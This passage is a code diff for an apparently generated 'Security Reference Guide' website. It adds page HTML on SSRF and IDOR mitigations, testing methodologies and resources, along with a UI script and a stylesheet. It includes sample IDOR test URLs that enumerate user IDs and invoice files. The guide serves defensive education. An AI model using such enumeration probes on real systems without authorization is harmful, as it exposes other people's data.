541
+ </div>
542
+ </div>
543
+ <div>
544
+ <h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
545
+ <ul class="space-y-2 text-gray-300">
546
+ <li class="flex items-start">
547
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
548
+ Validate and sanitize all user-supplied URLs
549
+ </li>
550
+ <li class="flex items-start">
551
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
552
+ Implement URL allowlists and blocklists
553
+ </li>
554
+ <li class="flex items-start">
555
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
556
+ Disable unnecessary URL schemes (file://, dict://, etc.)
557
+ </li>
558
+ <li class="flex items-start">
559
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
560
+ Use network segmentation to isolate internal services
561
+ </li>
562
+ <li class="flex items-start">
563
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
564
+ Implement proper error handling without information disclosure
565
+ </li>
566
+ </ul>
567
+ </div>
568
+ </div>
569
+ </div>
570
+
571
+ <!-- IDOR -->
572
+ <div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
573
+ <div class="flex items-center mb-4">
574
+ <div class="w-4 h-4 bg-orange-500 rounded-full mr-3"></div>
575
+ <h3 class="text-2xl font-bold text-white">Insecure Direct Object References (IDOR)</h3>
576
+ <span class="ml-auto bg-orange-500 text-white px-3 py-1 rounded-full text-sm font-semibold">High</span>
577
+ </div>
578
+ <p class="text-gray-300 mb-6">
579
+ IDOR vulnerabilities occur when applications expose internal object references without proper access control, allowing attackers to access unauthorized resources.
580
+ </p>
581
+ <div class="grid md:grid-cols-2 gap-6">
582
+ <div>
583
+ <h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
584
+ <div class="code-block p-4 rounded-lg overflow-x-auto">
585
+ <pre><code class="text-green-400 text-sm">http://foo.bar/viewuser?id=1
586
+ http://foo.bar/api/v1/users/12345/profile
587
+ http://foo.bar/download?file=invoice_12345.pdf
588
+ http://foo.bar/admin/edit_user?id=ADMIN_001
589
+ http://foo.bar/analytics/report?company_id=COMP_1234</code></pre>
590
+ </div>
591
+ </div>
592
+ <div>
593
+ <h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
594
+ <ul class="space-y-2 text-gray-300">
595
+ <li class="flex items-start">
596
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
597
+ Implement proper access control checks
598
+ </li>
599
+ <li class="flex items-start">
600
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
601
+ Use indirect object references instead of direct ones
602
+ </li>
603
+ <li class="flex items-start">
604
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
605
+ Validate user permissions for each resource access
606
+ </li>
607
+ <li class="flex items-start">
608
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
609
+ Implement rate limiting to prevent enumeration
610
+ </li>
611
+ <li class="flex items-start">
612
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
613
+ Use UUIDs or random identifiers instead of sequential IDs
614
+ </li>
615
+ <li class="flex items-start">
616
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
617
+ Implement proper authentication and authorization
618
+ </li>
619
+ </ul>
620
+ </div>
621
+ </div>
622
+ </div>
623
+ </div>
624
+ </section>
625
+
626
+ <!-- Methodologies Section -->
627
+ <section id="methodologies" class="py-16 bg-black-800">
628
+ <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
629
+ <div class="text-center mb-12">
630
+ <h2 class="text-3xl md:text-4xl font-bold text-white mb-4">Testing Methodologies</h2>
631
+ <div class="w-24 h-1 bg-accent-500 mx-auto"></div>
632
+ </div>
633
+ <div class="grid md:grid-cols-3 gap-8">
634
+ <div class="bg-black-900 p-6 rounded-lg border border-gray-700">
635
+ <div class="flex items-center mb-4">
636
+ <i data-feather="book" class="w-8 h-8 text-accent-500 mr-3"></i>
637
+ <h3 class="text-xl font-semibold text-white">OWASP Testing Guide</h3>
638
+ </div>
639
+ <p class="text-gray-300 mb-4">
640
+ Comprehensive testing framework covering all aspects of web application security testing.
641
+ </p>
642
+ <ul class="space-y-2 text-gray-300">
643
+ <li class="flex items-center">
644
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
645
+ Information Gathering
646
+ </li>
647
+ <li class="flex items-center">
648
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
649
+ Authentication Testing
650
+ </li>
651
+ <li class="flex items-center">
652
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
653
+ Session Management Testing
654
+ </li>
655
+ <li class="flex items-center">
656
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
657
+ Input Validation Testing
658
+ </li>
659
+ <li class="flex items-center">
660
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
661
+ Error Handling Testing
662
+ </li>
663
+ </ul>
664
+ </div>
665
+ <div class="bg-black-900 p-6 rounded-lg border border-gray-700">
666
+ <div class="flex items-center mb-4">
667
+ <i data-feather="target" class="w-8 h-8 text-accent-500 mr-3"></i>
668
+ <h3 class="text-xl font-semibold text-white">Penetration Testing Methodology</h3>
669
+ </div>
670
+ <p class="text-gray-300 mb-4">
671
+ Systematic approach to security testing with clear phases and objectives.
672
+ </p>
673
+ <ul class="space-y-2 text-gray-300">
674
+ <li class="flex items-center">
675
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
676
+ Planning and Reconnaissance
677
+ </li>
678
+ <li class="flex items-center">
679
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
680
+ Scanning and Enumeration
681
+ </li>
682
+ <li class="flex items-center">
683
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
684
+ Vulnerability Analysis
685
+ </li>
686
+ <li class="flex items-center">
687
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
688
+ Exploitation
689
+ </li>
690
+ <li class="flex items-center">
691
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
692
+ Reporting and Documentation
693
+ </li>
694
+ </ul>
695
+ </div>
696
+ <div class="bg-black-900 p-6 rounded-lg border border-gray-700">
697
+ <div class="flex items-center mb-4">
698
+ <i data-feather="settings" class="w-8 h-8 text-accent-500 mr-3"></i>
699
+ <h3 class="text-xl font-semibold text-white">DevSecOps Integration</h3>
700
+ </div>
701
+ <p class="text-gray-300 mb-4">
702
+ Integrating security testing into the development lifecycle.
703
+ </p>
704
+ <ul class="space-y-2 text-gray-300">
705
+ <li class="flex items-center">
706
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
707
+ Static Application Security Testing (SAST)
708
+ </li>
709
+ <li class="flex items-center">
710
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
711
+ Dynamic Application Security Testing (DAST)
712
+ </li>
713
+ <li class="flex items-center">
714
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
715
+ Interactive Application Security Testing (IAST)
716
+ </li>
717
+ <li class="flex items-center">
718
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
719
+ Software Composition Analysis (SCA)
720
+ </li>
721
+ <li class="flex items-center">
722
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
723
+ Container Security Scanning
724
+ </li>
725
+ </ul>
726
+ </div>
727
+ </div>
728
+ </div>
729
+ </section>
730
+
731
+ <!-- Resources Section -->
732
+ <section id="resources" class="py-16 bg-black-900">
733
+ <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
734
+ <div class="text-center mb-12">
735
+ <h2 class="text-3xl md:text-4xl font-bold text-white mb-4">Additional Resources</h2>
736
+ <div class="w-24 h-1 bg-accent-500 mx-auto"></div>
737
+ </div>
738
+ <div class="grid md:grid-cols-2 lg:grid-cols-3 gap-8">
739
+ <div class="bg-black-800 p-6 rounded-lg border border-gray-700">
740
+ <div class="flex items-center mb-4">
741
+ <i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
742
+ <h3 class="text-lg font-semibold text-white">OWASP Foundation</h3>
743
+ </div>
744
+ <p class="text-gray-300">Official OWASP resources and documentation</p>
745
+ </div>
746
+ <div class="bg-black-800 p-6 rounded-lg border border-gray-700">
747
+ <div class="flex items-center mb-4">
748
+ <i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
749
+ <h3 class="text-lg font-semibold text-white">NIST Cybersecurity Framework</h3>
750
+ </div>
751
+ <p class="text-gray-300">National standards for cybersecurity</p>
752
+ </div>
753
+ <div class="bg-black-800 p-6 rounded-lg border border-gray-700">
754
+ <div class="flex items-center mb-4">
755
+ <i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
756
+ <h3 class="text-lg font-semibold text-white">SANS Institute</h3>
757
+ </div>
758
+ <p class="text-gray-300">Security training and certification resources</p>
759
+ </div>
760
+ <div class="bg-black-800 p-6 rounded-lg border border-gray-700">
761
+ <div class="flex items-center mb-4">
762
+ <i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
763
+ <h3 class="text-lg font-semibold text-white">CWE/SANS Top 25</h3>
764
+ </div>
765
+ <p class="text-gray-300">Most dangerous software weaknesses</p>
766
+ </div>
767
+ <div class="bg-black-800 p-6 rounded-lg border border-gray-700">
768
+ <div class="flex items-center mb-4">
769
+ <i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
770
+ <h3 class="text-lg font-semibold text-white">PTES Standards</h3>
771
+ </div>
772
+ <p class="text-gray-300">Penetration Testing Execution Standard</p>
773
+ </div>
774
+ <div class="bg-black-800 p-6 rounded-lg border border-gray-700">
775
+ <div class="flex items-center mb-4">
776
+ <i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
777
+ <h3 class="text-lg font-semibold text-white">MITRE ATT&CK</h3>
778
+ </div>
779
+ <p class="text-gray-300">Adversarial tactics and techniques knowledge base</p>
780
+ </div>
781
+ </div>
782
+ </div>
783
+ </section>
784
+
785
+ <!-- Footer -->
786
+ <footer class="bg-black-800 border-t border-gray-700 py-8">
787
+ <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
788
+ <div class="text-center">
789
+ <div class="flex items-center justify-center mb-4">
790
+ <i data-feather="shield" class="w-6 h-6 text-accent-500 mr-2"></i>
791
+ <span class="text-lg font-semibold text-white">Security Reference Guide</span>
792
+ </div>
793
+ <p class="text-gray-400 mb-4">
794
+ This reference guide is intended for authorized security testing and educational purposes only.
795
+ </p>
796
+ <p class="text-gray-500 text-sm">
797
+ © 2025 Professional Security Reference. All rights reserved. Use responsibly.
798
+ </p>
799
+ </div>
800
+ </div>
801
+ </footer>
802
+
803
+ <!-- Back to top button -->
804
+ <button id="back-to-top" class="fixed bottom-8 right-8 bg-accent-500 text-white p-3 rounded-full shadow-lg hover:bg-accent-600 transition-colors opacity-0 invisible">
805
+ <i data-feather="arrow-up" class="w-6 h-6"></i>
806
+ </button>
807
+
808
+ <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/components/prism-core.min.js"></script>
809
+ <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/plugins/autoloader/prism-autoloader.min.js"></script>
810
+ <script src="script.js"></script>
811
+ <script src="https://huggingface.co/deepsite/deepsite-badge.js"></script>
812
+ </body>
813
+ </html>
script.js ADDED
@@ -0,0 +1,306 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ // Security Reference Guide - Interactive Features
2
+
3
+ document.addEventListener('DOMContentLoaded', function() {
4
+ // Initialize Feather Icons
5
+ feather.replace();
6
+
7
+ // Mobile menu toggle
8
+ const mobileMenuButton = document.getElementById('mobile-menu-button');
9
+ const mobileMenu = document.getElementById('mobile-menu');
10
+
11
+ if (mobileMenuButton && mobileMenu) {
12
+ mobileMenuButton.addEventListener('click', function() {
13
+ mobileMenu.classList.toggle('hidden');
14
+ const icon = mobileMenuButton.querySelector('i');
15
+ if (mobileMenu.classList.contains('hidden')) {
16
+ icon.setAttribute('data-feather', 'menu');
17
+ } else {
18
+ icon.setAttribute('data-feather', 'x');
19
+ }
20
+ feather.replace();
21
+ });
22
+ }
23
+
24
+ // Smooth scrolling for navigation links
25
+ const navLinks = document.querySelectorAll('a[href^="#"]');
26
+ navLinks.forEach(link => {
27
+ link.addEventListener('click', function(e) {
28
+ e.preventDefault();
29
+ const targetId = this.getAttribute('href');
30
+ const targetElement = document.querySelector(targetId);
31
+
32
+ if (targetElement) {
33
+ const offsetTop = targetElement.offsetTop - 80; // Account for fixed navbar
34
+ window.scrollTo({
35
+ top: offsetTop,
36
+ behavior: 'smooth'
37
+ });
38
+ }
39
+
40
+ // Close mobile menu if open
41
+ if (mobileMenu && !mobileMenu.classList.contains('hidden')) {
42
+ mobileMenu.classList.add('hidden');
43
+ const icon = mobileMenuButton.querySelector('i');
44
+ icon.setAttribute('data-feather', 'menu');
45
+ feather.replace();
46
+ }
47
+ });
48
+ });
49
+
50
+ // Back to top button
51
+ const backToTopButton = document.getElementById('back-to-top');
52
+
53
+ function toggleBackToTopButton() {
54
+ if (window.pageYOffset > 300) {
55
+ backToTopButton.classList.remove('opacity-0', 'invisible');
56
+ } else {
57
+ backToTopButton.classList.add('opacity-0', 'invisible');
58
+ }
59
+ }
60
+
61
+ if (backToTopButton) {
62
+ backToTopButton.addEventListener('click', function() {
63
+ window.scrollTo({
64
+ top: 0,
65
+ behavior: 'smooth'
66
+ });
67
+ });
68
+ }
69
+
70
+ // Scroll event listener
71
+ window.addEventListener('scroll', toggleBackToTopButton);
72
+
73
+ // Navbar background change on scroll
74
+ const navbar = document.querySelector('nav');
75
+ function updateNavbarBackground() {
76
+ if (window.scrollY > 50) {
77
+ navbar.classList.add('bg-black-900/98');
78
+ navbar.classList.remove('bg-black-900/95');
79
+ } else {
80
+ navbar.classList.add('bg-black-900/95');
81
+ navbar.classList.remove('bg-black-900/98');
82
+ }
83
+ }
84
+
85
+ window.addEventListener('scroll', updateNavbarBackground);
86
+
87
+ // Intersection Observer for fade-in animations
88
+ const observerOptions = {
89
+ threshold: 0.1,
90
+ rootMargin: '0px 0px -50px 0px'
91
+ };
92
+
93
+ const observer = new IntersectionObserver(function(entries) {
94
+ entries.forEach(entry => {
95
+ if (entry.isIntersecting) {
96
+ entry.target.classList.add('fade-in-up');
97
+ observer.unobserve(entry.target);
98
+ }
99
+ });
100
+ }, observerOptions);
101
+
102
+ // Observe vulnerability cards
103
+ const vulnerabilityCards = document.querySelectorAll('.vulnerability-card');
104
+ vulnerabilityCards.forEach(card => {
105
+ observer.observe(card);
106
+ });
107
+
108
+ // Observe sections
109
+ const sections = document.querySelectorAll('section');
110
+ sections.forEach(section => {
111
+ observer.observe(section);
112
+ });
113
+
114
+ // Copy code functionality
115
+ function addCopyButtons() {
116
+ const codeBlocks = document.querySelectorAll('pre');
117
+ codeBlocks.forEach(block => {
118
+ const copyButton = document.createElement('button');
119
+ copyButton.className = 'absolute top-2 right-2 bg-gray-700 hover:bg-gray-600 text-white px-3 py-1 rounded text-xs transition-colors';
120
+ copyButton.innerHTML = '<i data-feather="copy" class="w-3 h-3"></i>';
121
+ copyButton.title = 'Copy code';
122
+
123
+ const container = document.createElement('div');
124
+ container.className = 'relative';
125
+ block.parentNode.insertBefore(container, block);
126
+ container.appendChild(block);
127
+ container.appendChild(copyButton);
128
+
129
+ copyButton.addEventListener('click', function() {
130
+ const codeText = block.textContent;
131
+ navigator.clipboard.writeText(codeText).then(() => {
132
+ const icon = copyButton.querySelector('i');
133
+ icon.setAttribute('data-feather', 'check');
134
+ feather.replace();
135
+
136
+ setTimeout(() => {
137
+ icon.setAttribute('data-feather', 'copy');
138
+ feather.replace();
139
+ }, 2000);
140
+ }).catch(err => {
141
+ console.error('Failed to copy text: ', err);
142
+ });
143
+ });
144
+ });
145
+ }
146
+
147
+ // Initialize copy buttons after a short delay to ensure DOM is ready
148
+ setTimeout(addCopyButtons, 1000);
149
+
150
+ // Active navigation highlighting
151
+ function updateActiveNavigation() {
152
+ const sections = document.querySelectorAll('section[id]');
153
+ const navLinks = document.querySelectorAll('nav a[href^="#"]');
154
+
155
+ let currentSection = '';
156
+ sections.forEach(section => {
157
+ const sectionTop = section.offsetTop - 100;
158
+ const sectionHeight = section.offsetHeight;
159
+
160
+ if (window.pageYOffset >= sectionTop && window.pageYOffset < sectionTop + sectionHeight) {
161
+ currentSection = section.getAttribute('id');
162
+ }
163
+ });
164
+
165
+ navLinks.forEach(link => {
166
+ link.classList.remove('text-accent-500');
167
+ if (link.getAttribute('href') === `#${currentSection}`) {
168
+ link.classList.add('text-accent-500');
169
+ }
170
+ });
171
+ }
172
+
173
+ window.addEventListener('scroll', updateActiveNavigation);
174
+
175
+ // Keyboard navigation enhancements
176
+ document.addEventListener('keydown', function(e) {
177
+ // Alt + number keys for quick section navigation
178
+ if (e.altKey) {
179
+ switch(e.key) {
180
+ case '1':
181
+ e.preventDefault();
182
+ document.querySelector('#overview')?.scrollIntoView({ behavior: 'smooth' });
183
+ break;
184
+ case '2':
185
+ e.preventDefault();
186
+ document.querySelector('#vulnerabilities')?.scrollIntoView({ behavior: 'smooth' });
187
+ break;
188
+ case '3':
189
+ e.preventDefault();
190
+ document.querySelector('#methodologies')?.scrollIntoView({ behavior: 'smooth' });
191
+ break;
192
+ case '4':
193
+ e.preventDefault();
194
+ document.querySelector('#resources')?.scrollIntoView({ behavior: 'smooth' });
195
+ break;
196
+ }
197
+ }
198
+ });
199
+
200
+ // Print optimization
201
+ window.addEventListener('beforeprint', function() {
202
+ // Expand all collapsed sections for printing
203
+ document.querySelectorAll('.hidden').forEach(element => {
204
+ element.classList.remove('hidden');
205
+ });
206
+ });
207
+
208
+ // Search functionality (basic implementation)
209
+ function initializeSearch() {
210
+ const searchInput = document.getElementById('search-input');
211
+ if (!searchInput) return;
212
+
213
+ searchInput.addEventListener('input', function() {
214
+ const searchTerm = this.value.toLowerCase();
215
+ const vulnerabilityCards = document.querySelectorAll('.vulnerability-card');
216
+
217
+ vulnerabilityCards.forEach(card => {
218
+ const title = card.querySelector('h3').textContent.toLowerCase();
219
+ const content = card.textContent.toLowerCase();
220
+
221
+ if (title.includes(searchTerm) || content.includes(searchTerm)) {
222
+ card.style.display = 'block';
223
+ } else {
224
+ card.style.display = 'none';
225
+ }
226
+ });
227
+ });
228
+ }
229
+
230
+ // Enhanced vulnerability filtering
231
+ function initializeVulnerabilityFilters() {
232
+ const filterButtons = document.querySelectorAll('[data-filter]');
233
+ filterButtons.forEach(button => {
234
+ button.addEventListener('click', function() {
235
+ const filter = this.getAttribute('data-filter');
236
+ const vulnerabilityCards = document.querySelectorAll('.vulnerability-card');
237
+
238
+ vulnerabilityCards.forEach(card => {
239
+ if (filter === 'all') {
240
+ card.style.display = 'block';
241
+ } else {
242
+ const severity = card.querySelector('.bg-red-500, .bg-orange-500') ?
243
+ (card.querySelector('.bg-red-500') ? 'critical' : 'high') :
244
+ 'medium';
245
+ card.style.display = severity === filter ? 'block' : 'none';
246
+ }
247
+ });
248
+
249
+ // Update active filter button
250
+ filterButtons.forEach(btn => btn.classList.remove('bg-accent-500'));
251
+ this.classList.add('bg-accent-500');
252
+ });
253
+ });
254
+ }
255
+
256
+ // Performance monitoring
257
+ function logPerformanceMetrics() {
258
+ if ('performance' in window) {
259
+ window.addEventListener('load', function() {
260
+ setTimeout(() => {
261
+ const perfData = performance.getEntriesByType('navigation')[0];
262
+ console.log('Page Load Time:', perfData.loadEventEnd - perfData.loadEventStart, 'ms');
263
+ console.log('DOM Content Loaded:', perfData.domContentLoadedEventEnd - perfData.domContentLoadedEventStart, 'ms');
264
+ }, 0);
265
+ });
266
+ }
267
+ }
268
+
269
+ // Initialize all features
270
+ initializeSearch();
271
+ initializeVulnerabilityFilters();
272
+ logPerformanceMetrics();
273
+
274
+ // Error handling for images
275
+ document.querySelectorAll('img').forEach(img => {
276
+ img.addEventListener('error', function() {
277
+ this.style.display = 'none';
278
+ console.warn('Failed to load image:', this.src);
279
+ });
280
+ });
281
+
282
+ // Accessibility enhancements
283
+ function enhanceAccessibility() {
284
+ // Add skip link
285
+ const skipLink = document.createElement('a');
286
+ skipLink.href = '#main-content';
287
+ skipLink.textContent = 'Skip to main content';
288
+ skipLink.className = 'sr-only focus:not-sr-only focus:absolute focus:top-4 focus:left-4 bg-accent-500 text-white px-4 py-2 rounded z-50';
289
+ document.body.insertBefore(skipLink, document.body.firstChild);
290
+
291
+ // Add ARIA labels to navigation
292
+ const nav = document.querySelector('nav');
293
+ if (nav) nav.setAttribute('role', 'navigation');
294
+
295
+ // Add main landmark
296
+ const mainContent = document.querySelector('section');
297
+ if (mainContent) {
298
+ mainContent.setAttribute('id', 'main-content');
299
+ mainContent.setAttribute('role', 'main');
300
+ }
301
+ }
302
+
303
+ enhanceAccessibility();
304
+
305
+ console.log('Security Reference Guide initialized successfully');
306
+ });
style.css CHANGED
@@ -1,28 +1,217 @@
1
- body {
2
- padding: 2rem;
3
- font-family: -apple-system, BlinkMacSystemFont, "Arial", sans-serif;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
4
  }
5
 
6
- h1 {
7
- font-size: 16px;
8
- margin-top: 0;
9
  }
10
 
11
- p {
12
- color: rgb(107, 114, 128);
13
- font-size: 15px;
14
- margin-bottom: 10px;
15
- margin-top: 5px;
16
  }
17
 
18
- .card {
19
- max-width: 620px;
20
- margin: 0 auto;
21
- padding: 16px;
22
- border: 1px solid lightgray;
23
- border-radius: 16px;
 
 
 
24
  }
25
 
26
- .card p:last-child {
27
- margin-bottom: 0;
 
28
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /* Additional custom styles for enhanced UI */
2
+
3
+ /* Smooth scrolling for anchor links */
4
+ html {
5
+ scroll-behavior: smooth;
6
+ }
7
+
8
+ /* Custom scrollbar for webkit browsers */
9
+ ::-webkit-scrollbar {
10
+ width: 8px;
11
+ }
12
+
13
+ ::-webkit-scrollbar-track {
14
+ background: #1a1a1a;
15
+ }
16
+
17
+ ::-webkit-scrollbar-thumb {
18
+ background: #f97316;
19
+ border-radius: 4px;
20
+ }
21
+
22
+ ::-webkit-scrollbar-thumb:hover {
23
+ background: #ea580c;
24
+ }
25
+
26
+ /* Code block styling */
27
+ pre {
28
+ background: #1a1a1a !important;
29
+ border: 1px solid #374151;
30
+ border-radius: 8px;
31
+ padding: 1rem;
32
+ overflow-x: auto;
33
+ max-height: 400px;
34
+ }
35
+
36
+ code {
37
+ font-family: 'Courier New', Courier, monospace;
38
+ font-size: 0.875rem;
39
+ line-height: 1.5;
40
+ }
41
+
42
+ /* Enhanced gradient backgrounds */
43
+ .gradient-bg {
44
+ background: linear-gradient(135deg, #000000 0%, #1a1a1a 50%, #000000 100%);
45
+ }
46
+
47
+ .hero-pattern {
48
+ background-image: radial-gradient(circle at 1px 1px, rgba(249, 115, 22, 0.15) 1px, transparent 0);
49
+ background-size: 25px 25px;
50
+ }
51
+
52
+ /* Card hover effects */
53
+ .vulnerability-card {
54
+ transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
55
+ border: 1px solid transparent;
56
+ }
57
+
58
+ .vulnerability-card:hover {
59
+ border-color: #f97316;
60
+ box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.8),
61
+ 0 0 0 1px rgba(249, 115, 22, 0.1);
62
+ transform: translateY(-4px);
63
+ }
64
+
65
+ /* Loading animation for images */
66
+ img {
67
+ transition: opacity 0.3s ease;
68
+ }
69
+
70
+ img:not([src]) {
71
+ opacity: 0;
72
+ }
73
+
74
+ /* Mobile optimizations */
75
+ @media (max-width: 768px) {
76
+ .vulnerability-card {
77
+ margin-bottom: 1rem;
78
+ }
79
+
80
+ pre {
81
+ font-size: 0.75rem;
82
+ padding: 0.75rem;
83
+ }
84
+ }
85
+
86
+ /* Print styles */
87
+ @media print {
88
+ .vulnerability-card {
89
+ break-inside: avoid;
90
+ border: 1px solid #ccc;
91
+ margin-bottom: 1rem;
92
+ }
93
+
94
+ nav, footer, #back-to-top {
95
+ display: none;
96
+ }
97
+ }
98
+
99
+ /* Focus styles for accessibility */
100
+ a:focus, button:focus {
101
+ outline: 2px solid #f97316;
102
+ outline-offset: 2px;
103
+ }
104
+
105
+ /* Dark mode optimizations */
106
+ .dark pre {
107
+ background: #0f172a !important;
108
+ border-color: #334155;
109
+ }
110
+
111
+ /* Code syntax highlighting enhancements */
112
+ .token.comment {
113
+ color: #6b7280;
114
+ }
115
+
116
+ .token.string {
117
+ color: #10b981;
118
+ }
119
+
120
+ .token.number {
121
+ color: #f59e0b;
122
+ }
123
+
124
+ .token.keyword {
125
+ color: #ef4444;
126
+ }
127
+
128
+ .token.operator {
129
+ color: #8b5cf6;
130
+ }
131
+
132
+ /* Animation keyframes */
133
+ @keyframes fadeInUp {
134
+ from {
135
+ opacity: 0;
136
+ transform: translateY(20px);
137
+ }
138
+ to {
139
+ opacity: 1;
140
+ transform: translateY(0);
141
+ }
142
  }
143
 
144
+ .fade-in-up {
145
+ animation: fadeInUp 0.6s ease-out;
 
146
  }
147
 
148
+ /* Navigation enhancements */
149
+ nav a {
150
+ position: relative;
 
 
151
  }
152
 
153
+ nav a::after {
154
+ content: '';
155
+ position: absolute;
156
+ width: 0;
157
+ height: 2px;
158
+ bottom: -2px;
159
+ left: 50%;
160
+ background-color: #f97316;
161
+ transition: all 0.3s ease;
162
  }
163
 
164
+ nav a:hover::after {
165
+ width: 100%;
166
+ left: 0;
167
  }
168
+
169
+ /* Button enhancements */
170
+ button, .btn {
171
+ transition: all 0.2s ease;
172
+ }
173
+
174
+ button:hover, .btn:hover {
175
+ transform: translateY(-1px);
176
+ }
177
+
178
+ button:active, .btn:active {
179
+ transform: translateY(0);
180
+ }
181
+
182
+ /* Typography enhancements */
183
+ h1, h2, h3, h4, h5, h6 {
184
+ letter-spacing: -0.025em;
185
+ }
186
+
187
+ .text-accent-500 {
188
+ text-shadow: 0 0 10px rgba(249, 115, 22, 0.3);
189
+ }
190
+
191
+ /* Responsive grid adjustments */
192
+ @media (min-width: 1024px) {
193
+ .grid.lg\\:grid-cols-3 {
194
+ grid-template-columns: repeat(3, minmax(0, 1fr));
195
+ }
196
+ }
197
+
198
+ /* High contrast mode support */
199
+ @media (prefers-contrast: high) {
200
+ .bg-black-800 {
201
+ background-color: #000000;
202
+ }
203
+
204
+ .border-gray-700 {
205
+ border-color: #ffffff;
206
+ }
207
+ }
208
+
209
+ /* Reduced motion support */
210
+ @media (prefers-reduced-motion: reduce) {
211
+ *, *::before, *::after {
212
+ animation-duration: 0.01ms !important;
213
+ animation-iteration-count: 1 !important;
214
+ transition-duration: 0.01ms !important;
215
+ scroll-behavior: auto !important;
216
+ }
217
+ }